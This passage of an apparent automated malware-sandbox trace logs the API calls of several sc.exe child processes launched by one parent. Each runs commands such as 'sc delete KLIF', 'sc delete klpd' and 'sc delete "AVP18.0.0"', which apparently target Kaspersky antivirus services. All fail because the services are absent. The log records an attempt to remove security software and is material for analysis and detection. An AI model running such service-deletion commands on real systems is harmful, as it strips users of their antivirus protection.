(_String1="delete", _String2="control") returned 1 [0072.485] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.485] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.485] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.485] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.485] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.485] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.485] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.485] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.485] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.485] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.485] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.485] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.485] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.485] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.486] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x254370 [0072.489] OpenServiceW (hSCManager=0x254370, lpServiceName="klim6", dwDesiredAccess=0x10000) returned 0x0 [0072.489] GetLastError () returned 0x424 [0072.489] _itow (in: _Dest=0x424, _Radix=849912 | out: _Dest=0x424) returned="1060" [0072.490] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff4ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.491] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcf7b0, nSize=0x2, Arguments=0xcf7e0 | out: lpBuffer="跀%") returned 0x62 [0072.491] GetFileType (hFile=0x120) returned 0x3 [0072.492] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x258ea0 [0072.492] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x258ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n%", lpUsedDefaultChar=0x0) returned 98 [0072.492] WriteFile (in: hFile=0x120, lpBuffer=0x258ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcf758, lpOverlapped=0x0 | out: lpBuffer=0x258ea0*, lpNumberOfBytesWritten=0xcf758*=0x62, lpOverlapped=0x0) returned 1 [0072.492] LocalFree (hMem=0x258ea0) returned 0x0 [0072.492] LocalFree (hMem=0x258dc0) returned 0x0 [0072.492] LocalFree (hMem=0x0) returned 0x0 [0072.492] CloseServiceHandle (hSCObject=0x254370) returned 1 [0072.494] exit (_Code=1060) Thread: id = 85 os_tid = 0x8e4 Process: id = "43" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3da97000" os_pid = "0x904" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"AVP18.0.0\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x914 [0072.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc50 | out: lpSystemTimeAsFileTime=0x18fc50*(dwLowDateTime=0x4309be90, dwHighDateTime=0x1d62774)) [0072.543] GetCurrentProcessId () returned 0x904 [0072.543] GetCurrentThreadId () returned 0x914 [0072.543] GetTickCount () returned 0x1149722 [0072.543] QueryPerformanceCounter (in: lpPerformanceCount=0x18fc58 | out: lpPerformanceCount=0x18fc58*=19221902884) returned 1 [0072.544] GetModuleHandleW (lpModuleName=0x0) returned 0xff7b0000 [0072.545] __set_app_type (_Type=0x1) [0072.545] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7b7228) returned 0x0 [0072.545] __wgetmainargs (in: _Argc=0xff7bb604, _Argv=0xff7bb610, _Env=0xff7bb608, _DoWildCard=0, _StartInfo=0xff7bb050 | out: _Argc=0xff7bb604, _Argv=0xff7bb610, _Env=0xff7bb608) returned 0 [0072.545] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.547] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.547] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.547] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.547] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.547] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.547] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.547] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.547] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.547] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.547] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.547] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.547] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.547] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.547] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.547] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.547] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.547] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.547] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.548] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.548] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.548] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.548] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.548] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.548] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f4370 [0072.552] OpenServiceW (hSCManager=0x1f4370, lpServiceName="AVP18.0.0", dwDesiredAccess=0x10000) returned 0x0 [0072.552] GetLastError () returned 0x424 [0072.552] _itow (in: _Dest=0x424, _Radix=1637048 | out: _Dest=0x424) returned="1060" [0072.552] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.553] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18fa70, nSize=0x2, Arguments=0x18faa0 | out: lpBuffer="跀\x1f") returned 0x62 [0072.554] GetFileType (hFile=0x120) returned 0x3 [0072.554] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8ea0 [0072.554] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0072.554] WriteFile (in: hFile=0x120, lpBuffer=0x1f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18fa18, lpOverlapped=0x0 | out: lpBuffer=0x1f8ea0*, lpNumberOfBytesWritten=0x18fa18*=0x62, lpOverlapped=0x0) returned 1 [0072.554] LocalFree (hMem=0x1f8ea0) returned 0x0 [0072.554] LocalFree (hMem=0x1f8dc0) returned 0x0 [0072.554] LocalFree (hMem=0x0) returned 0x0 [0072.554] CloseServiceHandle (hSCObject=0x1f4370) returned 1 [0072.556] exit (_Code=1060) Thread: id = 87 os_tid = 0x934 Process: id = "44" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e79c000" os_pid = "0x944" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete KLIF" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x964 [0072.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f7f0 | out: lpSystemTimeAsFileTime=0x22f7f0*(dwLowDateTime=0x4315a570, dwHighDateTime=0x1d62774)) [0072.625] GetCurrentProcessId () returned 0x944 [0072.625] GetCurrentThreadId () returned 0x964 [0072.625] GetTickCount () returned 0x1149770 [0072.625] QueryPerformanceCounter (in: lpPerformanceCount=0x22f7f8 | out: lpPerformanceCount=0x22f7f8*=19230030906) returned 1 [0072.625] GetModuleHandleW (lpModuleName=0x0) returned 0xffb90000 [0072.625] __set_app_type (_Type=0x1) [0072.625] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb97228) returned 0x0 [0072.625] __wgetmainargs (in: _Argc=0xffb9b604, _Argv=0xffb9b610, _Env=0xffb9b608, _DoWildCard=0, _StartInfo=0xffb9b050 | out: _Argc=0xffb9b604, _Argv=0xffb9b610, _Env=0xffb9b608) returned 0 [0072.626] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.629] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.629] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.629] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.629] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.629] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.629] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.629] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.629] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.629] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.629] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.629] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.629] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.629] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.629] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.629] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.630] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.630] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.630] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.630] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.630] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.630] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.630] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.630] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.630] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x64360 [0072.636] OpenServiceW (hSCManager=0x64360, lpServiceName="KLIF", dwDesiredAccess=0x10000) returned 0x0 [0072.636] GetLastError () returned 0x424 [0072.636] _itow (in: _Dest=0x424, _Radix=2291288 | out: _Dest=0x424) returned="1060" [0072.636] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb9b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.638] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f610, nSize=0x2, Arguments=0x22f640 | out: lpBuffer="趰\x06") returned 0x62 [0072.639] GetFileType (hFile=0x120) returned 0x3 [0072.639] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x68e90 [0072.639] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x68e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x06", lpUsedDefaultChar=0x0) returned 98 [0072.639] WriteFile (in: hFile=0x120, lpBuffer=0x68e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f5b8, lpOverlapped=0x0 | out: lpBuffer=0x68e90*, lpNumberOfBytesWritten=0x22f5b8*=0x62, lpOverlapped=0x0) returned 1 [0072.639] LocalFree (hMem=0x68e90) returned 0x0 [0072.639] LocalFree (hMem=0x68db0) returned 0x0 [0072.639] LocalFree (hMem=0x0) returned 0x0 [0072.639] CloseServiceHandle (hSCObject=0x64360) returned 1 [0072.642] exit (_Code=1060) Thread: id = 89 os_tid = 0x974 Process: id = "45" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3eba1000" os_pid = "0x994" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klpd" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0x9a4 [0072.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afc50 | out: lpSystemTimeAsFileTime=0x1afc50*(dwLowDateTime=0x43218c50, dwHighDateTime=0x1d62774)) [0072.700] GetCurrentProcessId () returned 0x994 [0072.700] GetCurrentThreadId () returned 0x9a4 [0072.700] GetTickCount () returned 0x11497be [0072.700] QueryPerformanceCounter (in: lpPerformanceCount=0x1afc58 | out: lpPerformanceCount=0x1afc58*=19237627483) returned 1 [0072.701] GetModuleHandleW (lpModuleName=0x0) returned 0xff940000 [0072.701] __set_app_type (_Type=0x1) [0072.701] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff947228) returned 0x0 [0072.701] __wgetmainargs (in: _Argc=0xff94b604, _Argv=0xff94b610, _Env=0xff94b608, _DoWildCard=0, _StartInfo=0xff94b050 | out: _Argc=0xff94b604, _Argv=0xff94b610, _Env=0xff94b608) returned 0 [0072.702] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.704] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.705] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.705] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.705] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.705] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.705] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.705] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.705] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.705] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.705] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.705] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.705] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.705] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.705] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.705] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.705] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.705] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.705] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.705] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.705] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.705] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.706] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3a4360 [0072.733] OpenServiceW (hSCManager=0x3a4360, lpServiceName="klpd", dwDesiredAccess=0x10000) returned 0x0 [0072.733] GetLastError () returned 0x424 [0072.733] _itow (in: _Dest=0x424, _Radix=1768120 | out: _Dest=0x424) returned="1060" [0072.733] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff94b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.735] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1afa70, nSize=0x2, Arguments=0x1afaa0 | out: lpBuffer="趰:") returned 0x62 [0072.736] GetFileType (hFile=0x120) returned 0x3 [0072.737] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3a8e90 [0072.737] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3a8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n:", lpUsedDefaultChar=0x0) returned 98 [0072.737] WriteFile (in: hFile=0x120, lpBuffer=0x3a8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1afa18, lpOverlapped=0x0 | out: lpBuffer=0x3a8e90*, lpNumberOfBytesWritten=0x1afa18*=0x62, lpOverlapped=0x0) returned 1 [0072.737] LocalFree (hMem=0x3a8e90) returned 0x0 [0072.737] LocalFree (hMem=0x3a8db0) returned 0x0 [0072.737] LocalFree (hMem=0x0) returned 0x0 [0072.737] CloseServiceHandle (hSCObject=0x3a4360) returned 1 [0072.740] exit (_Code=1060) Thread: id = 91 os_tid = 0x9c4 Process: id = "46" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e6a6000" os_pid = "0x9d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 92 os_tid = 0x9f4 [0072.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfdf0 | out: lpSystemTimeAsFileTime=0xcfdf0*(dwLowDateTime=0x432fd490, dwHighDateTime=0x1d62774)) [0072.791] GetCurrentProcessId () returned 0x9d4 [0072.791] GetCurrentThreadId () returned 0x9f4 [0072.791] GetTickCount () returned 0x114981b [0072.791] QueryPerformanceCounter (in: lpPerformanceCount=0xcfdf8 | out: lpPerformanceCount=0xcfdf8*=19246661535) returned 1 [0072.791] GetModuleHandleW (lpModuleName=0x0) returned 0xffab0000 [0072.791] __set_app_type (_Type=0x1) [0072.791] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffab7228) returned 0x0 [0072.791] __wgetmainargs (in: _Argc=0xffabb604, _Argv=0xffabb610, _Env=0xffabb608, _DoWildCard=0, _StartInfo=0xffabb050 | out: _Argc=0xffabb604, _Argv=0xffabb610, _Env=0xffabb608) returned 0 [0072.792] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.794] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.794] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.794] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.794] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.794] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.794] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.794] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.794] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.794] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.794] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.794] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.794] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.794] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.794] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.794] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.794] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.794] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.794] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.794] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.794] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.794] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.795] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xe4370 [0072.798] OpenServiceW (hSCManager=0xe4370, lpServiceName="klflt", dwDesiredAccess=0x10000) returned 0x0 [0072.798] GetLastError () returned 0x424 [0072.798] _itow (in: _Dest=0x424, _Radix=851032 | out: _Dest=0x424) returned="1060" [0072.798] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffabb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.800] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfc10, nSize=0x2, Arguments=0xcfc40 | out: lpBuffer="跀\x0e") returned 0x62 [0072.800] GetFileType (hFile=0x120) returned 0x3 [0072.800] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xe8ea0 [0072.800] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xe8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0e", lpUsedDefaultChar=0x0) returned 98 [0072.800] WriteFile (in: hFile=0x120, lpBuffer=0xe8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfbb8, lpOverlapped=0x0 | out: lpBuffer=0xe8ea0*, lpNumberOfBytesWritten=0xcfbb8*=0x62, lpOverlapped=0x0) returned 1 [0072.800] LocalFree (hMem=0xe8ea0) returned 0x0 [0072.800] LocalFree (hMem=0xe8dc0) returned 0x0 [0072.800] LocalFree (hMem=0x0) returned 0x0 [0072.801] CloseServiceHandle (hSCObject=0xe4370) returned 1 [0072.802] exit (_Code=1060) Thread: id = 93 os_tid = 0x9f8 Process: id = "47" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f4ab000" os_pid = "0xa80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klbackupdisk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 94 os_tid = 0x34c [0072.851] GetSystemTimeAsFileTime (in: 